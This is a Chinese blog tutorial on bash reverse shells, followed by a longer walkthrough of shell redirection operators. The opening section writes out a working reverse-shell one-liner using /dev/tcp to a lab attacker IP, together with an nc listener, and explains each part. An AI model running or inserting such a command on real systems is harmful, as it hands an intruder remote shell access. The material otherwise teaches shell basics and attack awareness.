bash共享shell

blog 292

反弹shell

bash反弹:首先在攻击机监听端口,之后bash执行命令向攻击机主动建立连接

攻击机IP:172.16.1.3
攻击机执行命令:nc -lvp 8080

靶机IP:172.16.1.106
靶机执行命令:/bin/bash -i >& /dev/tcp/172.16.1.3/8080 0>&1

攻击者使用nc监听本地8080端口:

bash共享shell

靶机主动连接攻击机的端口并将bash共享给对方:

bash共享shell

连接成功

bash共享shell

命令解析:

bash -i表示创建一个交互式的bash shell
&> 就是你输入命令,正确和错误信息都不输出在屏幕上直接输到你重定向的一个文件内。
最后一个0>&1,意为将文件描述符0重定向到文件描述符1,也就是标准输入被重定向到了标准输出

至于后面的/dev/tcp/172.16.1.3/8080是一个特殊文件,它会建立一个连接到到172.16.1.3:8080的socket
bash共享shell

重定向符号

> 将标准输出重定向到文件中(清除原有文件中的数据)

>> 将标准输出重定向到文件中(不清楚原有文件中的数据,将新的内容追加到其后)

2> 将错误输出重定向到文件中(清除原有文件中的数据)

2>> 将错误输出重定向到文件中(在原有内容后面追加)

&> 将标准输出和错误输出重定向到文件中(清楚原文件中的数据)

&>> 将标准输出和错误输出重定向到文件中(在原有内容后面追加)

以下为重定向>示例

x1ong@sunnydeMacBook-Pro ~ % echo "hello world"
hello world
x1ong@sunnydeMacBook-Pro ~ % echo "hello world" > 123.txt
x1ong@sunnydeMacBook-Pro ~ % cat 123.txt
hello world
x1ong@sunnydeMacBook-Pro ~ %

我们可以看到,使用重定向符号>echo "hello world"的结果重定向到了123.txt文件中。重定向符号的有个特性也可以说是功能,就是如果重定向到的文件没有被创建重定向符号则会创建这个文件。以上的123.txt就是由重定向符号所创建

以下为重定向>>示例

x1ong@sunnydeMacBook-Pro ~ % cat 123.txt
hello
x1ong@sunnydeMacBook-Pro ~ % echo 'author zhenshuai!!!' >> 123.txt
x1ong@sunnydeMacBook-Pro ~ % cat 123.txt
hello
author zhenshuai!!!
x1ong@sunnydeMacBook-Pro ~ % echo "cover" > 123.txt
x1ong@sunnydeMacBook-Pro ~ % cat 123.txt
cover

根据上述结果可以发现,将echo 'author zhenshuai!!!' 的结果追加到123.txt中,此时的123.txt内容就在123.txt原本的内容之上追加了author zhenshuai!!!。但是我们使用重定向符号>则会将echo "cover"的结果输出到123.txt中。但是此时123.txt原本的内容会被清楚掉。此时123.txt的文本内容为cover

但是重定向符号>>>如果碰到前面的命令,执行错误,并不能将错误输出到123.txt文件中。此时就需要使用我们2>2>>

x1ong@sunnydeMacBook-Pro ~ % 123
zsh: command not found: 123
x1ong@sunnydeMacBook-Pro ~ % 123 > 123.txt
zsh: command not found: 123
x1ong@sunnydeMacBook-Pro ~ % cat 123.txt
x1ong@sunnydeMacBook-Pro ~ %

根据上述结果得知123.txt的内容为空,是因为123这个命令没有执行成功(因为123命令实际就不存在),但是> 123.txt命令执行成功了。它会重新创建一个123.txt文件且内容为空。

小应用:如果一个文件中,有非常多的内容。我们想把这个文件内容清空。就可以使用我们的重定向符号清空

假设我们的123.txt中有很多的内容。我们可以使用>清空这个文件的内容

x1ong@sunnydeMacBook-Pro ~ % cat 123.txt
很多的内容
x1ong@sunnydeMacBook-Pro ~ % > 123.txt
^C
x1ong@sunnydeMacBook-Pro ~ % cat 123.txt
x1ong@sunnydeMacBook-Pro ~ %

可能> 123.txt执行时间较长,会卡在哪里,我们直接ctrl+c终止即可。之后123.txt文件就会被清除了。

以下为重定向2>示例

x1ong@sunnydeMacBook-Pro ~ % 123
zsh: command not found: 123
x1ong@sunnydeMacBook-Pro ~ % 123 2> 123.txt
x1ong@sunnydeMacBook-Pro ~ % cat 123.txt
zsh: command not found: 123

可以发现2>会将错误信息也会重定向123.txt文件中。

重定向2>>2>基本一致,不同的是2>会清楚文件中的内容。而2>>则是追加

以下为重定向&>&>>示例

x1ong@sunnydeMacBook-Pro ~ % fasdfsdf &> 123.txt
x1ong@sunnydeMacBook-Pro ~ % cat 123.txt
zsh: command not found: fasdfsdf
x1ong@sunnydeMacBook-Pro ~ % admin &>> 123.txt
x1ong@sunnydeMacBook-Pro ~ % cat 123.txt
zsh: command not found: fasdfsdf
zsh: command not found: admin
x1ong@sunnydeMacBook-Pro ~ % 123 &> 123.txt
x1ong@sunnydeMacBook-Pro ~ % cat 123.txt
zsh: command not found: 123

>&&>>2>以及2>>类似。这里不再讲解。具体参照2>示例

分享